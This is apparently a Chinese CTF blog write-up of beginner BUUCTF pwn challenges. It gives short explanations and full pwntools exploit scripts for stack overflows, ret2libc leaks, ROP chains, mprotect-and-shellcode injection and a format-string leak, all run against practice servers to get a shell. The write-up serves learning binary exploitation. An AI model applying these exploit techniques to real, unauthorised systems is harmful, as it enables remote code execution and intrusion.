BUUCTF-PWN(一)

BUUCTF-PWN(一)

五月 03, 2020

最近更新: 2020-01-31 22:43

test_your_nc

pwnの签到

rip

入门溢出覆盖 RIP

1
2
3
4
5
6
7
from pwn import *

io = process('./pwn1')

io.sendline('a'*23+p64(0x401186))

io.interactive()

warmup_csaw_2016

同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

fi = remote("node3.buuoj.cn",26624)

context(arch = 'amd64',os = 'linux',log_level = 'debug')

fi.recvuntil('WOW:')

flag_addr = fi.recv()[:-2]

payload = 'a'*0x48
payload += p64(int(flag_addr,16))

fi.sendline(payload)

fi.interactive()

pwn1_sctf_2016

加了个简易路障,输入长度被限制不能直接溢出,但是程序会把‘I’替换为‘you’,计算一下就会知道,只要输入21个‘I’即可进行后续的溢出操作

1
2
3
4
5
6
from pwn import *
#p = process('./pwn1_sctf_2016')
p = remote("node3.buuoj.cn",28810)
payload = 'I'*21 + 'a' + p32(0x8048f13)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

依旧是简单的额变量溢出覆盖,将float变量覆盖为相应的十六进制即可。这里可以直接百度 float 变量的数据是如何解析的,然后构造相应的二进制或十六进制数值即可

1
2
3
4
5
6
from pwn import *
#p = process('./ciscn_2019_n_1')
p = remote("node3.buuoj.cn",29674)
payload = 'a'*0x2c + p64(0x41348000)
p.sendline(payload)
p.interactive()

ciscn_2019_c_1

我丢!!!Ubuntu18坑死窝惹555
用了好几天时间换各种姿势尝试拿服务器shell,本地的kali明明可以一遍通QAQ。最后无奈搜了大佬的wp才知道Ubuntu18的堆栈对齐问题导致无法执行system函数,而且最后也不知道详细的底层机制原理是啥,只知道Ubuntu18的堆栈对齐很迷,这道题是32字节的对齐宽度,在payload前面加一个ret的地址即可完成对齐。
另外,中间尝试通过gets__isoc99_scanf函数向bss段写入数据,但是无法写入(工具查看是有RW权限的),疑惑,实在没找到原因,如果写入成功的话或许可以尝试ret2csu来执行execve,这应该不会受到栈对齐的影响.
(数次调试后发现,该程序bss段无法写入数据md,不过发现one_gadget可以用)

继续查资料依旧没有找到Ubuntu18栈对齐对函数能否成功执行的影响原理,只知道堆栈指针对齐一般是16字节或32字节的对齐,其会在某些情况下影响程序的正常执行,而这道题显然就遇到了这‘某些情况’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context(arch = 'amd64',log_level = 'debug')
elf = ELF('./ciscn_2019_c_1')
libc = ELF('/root/BUU/pwn/libc/ubuntu18/64/libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

encrypt = p64(elf.symbols['encrypt'])
libc_start_main_addr = p64(elf.got['__libc_start_main'])
libc_start_main = libc.symbols['__libc_start_main']
puts = p64(elf.plt['puts'])
rdi_ret = p64(0x400c83)
binsh_64 = libc.search('/bin/sh\x00').next()
system = libc.symbols['system']

payload = '\x00'*0x58 + rdi_ret + libc_start_main_addr + puts + encrypt

#p = process('./ciscn_2019_c_1')
p = remote('node3.buuoj.cn',26004)

p.recvuntil("Input your choice!")
p.sendline('1')
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)
p.recvuntil('Ciphertext\x0a\x0a')

tmp_addr = u64(p.recvuntil("\n",True).ljust(8,"\x00"))
base = tmp_addr - libc_start_main
binsh_64 += base
system += base

payload = '\x00'*0x58 + p64(0x4006b9) + rdi_ret + p64(binsh_64) + p64(system) + encrypt
time.sleep(0.5)
p.sendline(payload)

p.interactive()

[OGeek2019]babyrop

简单ROP,用\x00绕过strncmp检测,然后溢出复写第二个read读入长度为255.
利用write函数泄露got表中已经被用过的函数地址,计算基地址,本题直接给出so文件,直接计算system函数和/bin/sh的地址。这里system直接攻击成功。不再尝试其他姿势。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch = 'i386',os='linux',log_level = 'debug')

#p = process('./pwn')
p = remote('node3.buuoj.cn',29623)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
write = elf.plt['write']
write_addr = elf.got['write']
main = 0x8048825

payload = '\x00' * 7 + '\xff'
p.sendline(payload)
print(p.recv())

payload = 'a' * 0xeb
payload += p32(write) + p32(main) + p32(1) + p32(write_addr) + p32(4)
p.sendline(payload)
base = u32(p.recv(4)) - libc.symbols['write']

system = libc.symbols['system'] + base
binsh = libc.search('/bin/sh\x00').next() + base

payload = '\x00' * 7 + '\xff'
p.sendline(payload)
print(p.recv())

payload = 'a' * 0xeb
payload += p32(system) + p32(0xdeadbeef) + p32(binsh)
p.sendline(payload)

p.interactive()

ciscn_2019_en_2

我吐了,emp无敌。这道题看源码发现和上面ciscn_2019_c_1一模一样,但是exp打了好几遍就是打不通,本地是可以通的。无奈搜别的大佬的wp看是不是又有什么奇怪的姿势,发现确实是和上一题的共用一个exp就可以。
这里看到大佬用的libcsearcher而非BUU直接给出的libc,就去试了下libcsearcher尝试是不是libc的问题,然后就神奇的通了。。。但这里不是吐血的地方!
最神奇和吐血的地方是,这个时候因为觉得BUU一般的pwn题应该就是用的直接给出的对应的libc才对就把后来加上的libcsearcher相关的代码全删了用之前没改的代码,这一次突然就通了!???吐血emmm

get_started_3dsctf_2016

这道题感觉远程的文件权限是不是没分配好,也可能是故意为之,毕竟题目里放了一堆函数,然后给一个假的后门。
这里get到知识点,mprotect函数修改内存权限,然后向其中写入shellcode进行调用getshell。

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",28183)
elf = ELF("get_started_3dsctf_2016")

pop2_ret = 0x0809a7dc
pop3_ret = 0x0804f460

payload = 'a' * 56 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)

sh.sendline(payload)

sh.sendline(asm(shellcraft.sh()))
sh.interactive()

[第五空间2019决赛] PWN5

我与bug,同生共死!!!
这道题就是非常简单的格式化输出题目,%sor%n都可以秒,不过用%s会有玄学失败bug(ps:至少我会有玄学失败bug,如果未来有刷buu的萌新看到这里不用疑惑,先做再说,不过估计也没人会看到嘿嘿嘿)
题目本身很简单,读取了四字节随机数,然后输入一个整数和随机数比较,一样就直接shell。读取随机数的操作在输入buf之前,也就是可以利用格式化输出的漏洞修改或者直接输出随机数内容。然后直接输入一直数值获取shell。

这个脚本是用%s读取随机数的内容然后直接输入。运行的时候概率性fail(吐血)。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('node3.buuoj.cn',28350)
#p = process('./pwn')

print(p.recv())

payload = p32(0x804c044) + '%10$s'
p.sendline(payload)
print(p.recv(6))
tmp = u32(p.recv()[4:8])
p.sendline(str(tmp))
p.interactive()
隐藏